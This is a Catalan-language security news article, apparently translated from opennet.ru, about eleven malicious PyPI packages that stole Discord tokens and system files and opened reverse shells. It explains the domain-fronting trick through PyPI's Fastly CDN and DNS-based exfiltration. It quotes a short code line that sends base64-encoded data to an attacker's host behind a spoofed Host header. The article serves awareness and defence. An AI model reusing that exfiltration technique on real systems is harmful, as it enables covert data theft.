Al catàleg de PyPI s'han identificat biblioteques malicioses que utilitzen el CDN de PyPI per ocultar el canal de comunicació

Al directori PyPI (índex de paquets Python), es van identificar 11 paquets que contenien codi maliciós. Abans d'identificar els problemes, els paquets s'havien descarregat unes 38 mil vegades en total. Els paquets maliciosos detectats destaquen pel seu ús de mètodes sofisticats per ocultar els canals de comunicació amb els servidors dels atacants.

  • importantpackage (6305 descàrregues), important-package (12897): va establir una connexió a un servidor extern sota l'aparença de connectar-se a pypi.python.org per proporcionar accés al sistema (shell inversa) i va utilitzar el programa trevorc2 per ocultar el canal de comunicació.
  • pptest (10001), ipboards (946): utilitza DNS com a canal de comunicació per transmetre informació sobre el sistema (en el primer paquet el nom de l'amfitrió, el directori de treball, la IP interna i externa, en el segon, el nom d'usuari i el nom d'amfitrió) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859): va identificar el testimoni de servei de Discord al sistema i l'ha enviat a un host extern.
  • trrfab (287) - va enviar l'identificador, el nom de l'amfitrió i el contingut de /etc/passwd, /etc/hosts, /home a l'amfitrió extern.
  • 10Cent10 (490): va establir una connexió de shell inversa amb un host extern.
  • yandex-yt (4183): va mostrar un missatge sobre el sistema compromès i es va redirigir a una pàgina amb informació addicional sobre accions addicionals emeses a través de nda.ya.ru (api.ya.cc).

Cal destacar especialment el mètode d'accés als amfitrions externs utilitzat als paquets importantpackage i important-package, que utilitzaven la xarxa de lliurament de contingut Fastly utilitzada al directori PyPI per ocultar la seva activitat. De fet, les sol·licituds es van enviar al servidor pypi.python.org (incloent especificar el nom python.org a SNI dins de la sol·licitud HTTPS), però la capçalera HTTP "Host" incloïa el nom del servidor controlat pels atacants (sec. forward.io. global.prod.fastly.net). La xarxa de lliurament de contingut va enviar una sol·licitud similar al servidor atacant, utilitzant els paràmetres de la connexió TLS a pypi.python.org en transmetre dades.

La infraestructura PyPI funciona amb la xarxa de lliurament de contingut Fastly, que utilitza el servidor intermediari transparent Varnish per a la memòria cau sol·licituds típiques i també utilitza el processament de certificats TLS a nivell CDN, en lloc dels servidors finals, per reenviar sol·licituds HTTPS mitjançant un servidor intermediari. Independentment de l'amfitrió de destinació, les sol·licituds s'envien al servidor intermediari, que determina l'amfitrió desitjat mitjançant la capçalera HTTP "Amfitrió" i els noms de domini de l'amfitrió estan vinculats a les adreces IP de l'equilibrador de càrrega CDN que són típiques per a tots els clients Fastly.

El servidor dels atacants també es registra a CDN Fastly, que ofereix plans gratuïts a tothom i fins i tot permet el registre anònim. Cal destacar que per enviar sol·licituds a la víctima quan es crea un "shell invers", també s'utilitza un esquema, però iniciat des del costat de l'amfitrió de l'atacant. Des de l'exterior, la interacció amb el servidor dels atacants sembla una sessió legítima amb el directori PyPI, xifrat mitjançant un certificat PyPI TLS. Anteriorment s'utilitzava activament una tècnica similar, coneguda com a "fronting de domini", per ocultar el nom de l'amfitrió quan s'opassava el bloqueig, utilitzant la capacitat que ofereixen algunes xarxes CDN d'accedir a HTTPS indicant un host fictici a l'SNI i transmetent realment el nom del amfitrió sol·licitat a la capçalera de l'amfitrió HTTP dins d'una sessió TLS.

Al catàleg de PyPI s'han identificat biblioteques malicioses que utilitzen el CDN de PyPI per ocultar el canal de comunicació

Per ocultar l'activitat maliciosa, el paquet TrevorC2 també es va utilitzar per fer que la interacció amb el servidor sigui semblant a la navegació web habitual, per exemple, s'enviaven sol·licituds malicioses amb l'excusa de descarregar la imatge "https://pypi.python.org/images/". guid=" amb la codificació de la informació al paràmetre guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Els paquets pptest i ipboards utilitzaven un enfocament diferent per ocultar l'activitat de la xarxa, basat en la codificació d'informació útil en consultes al servidor DNS. El programari maliciós transmet informació realitzant sol·licituds de DNS com "nu4timjagq4fimbuhe.example.com", en què les dades transmeses al servidor de control es codifiquen mitjançant el format base64 en el nom del subdomini. L'atacant rep aquests missatges controlant el servidor DNS del domini example.com.

Font: opennet.ru

Afegeix comentari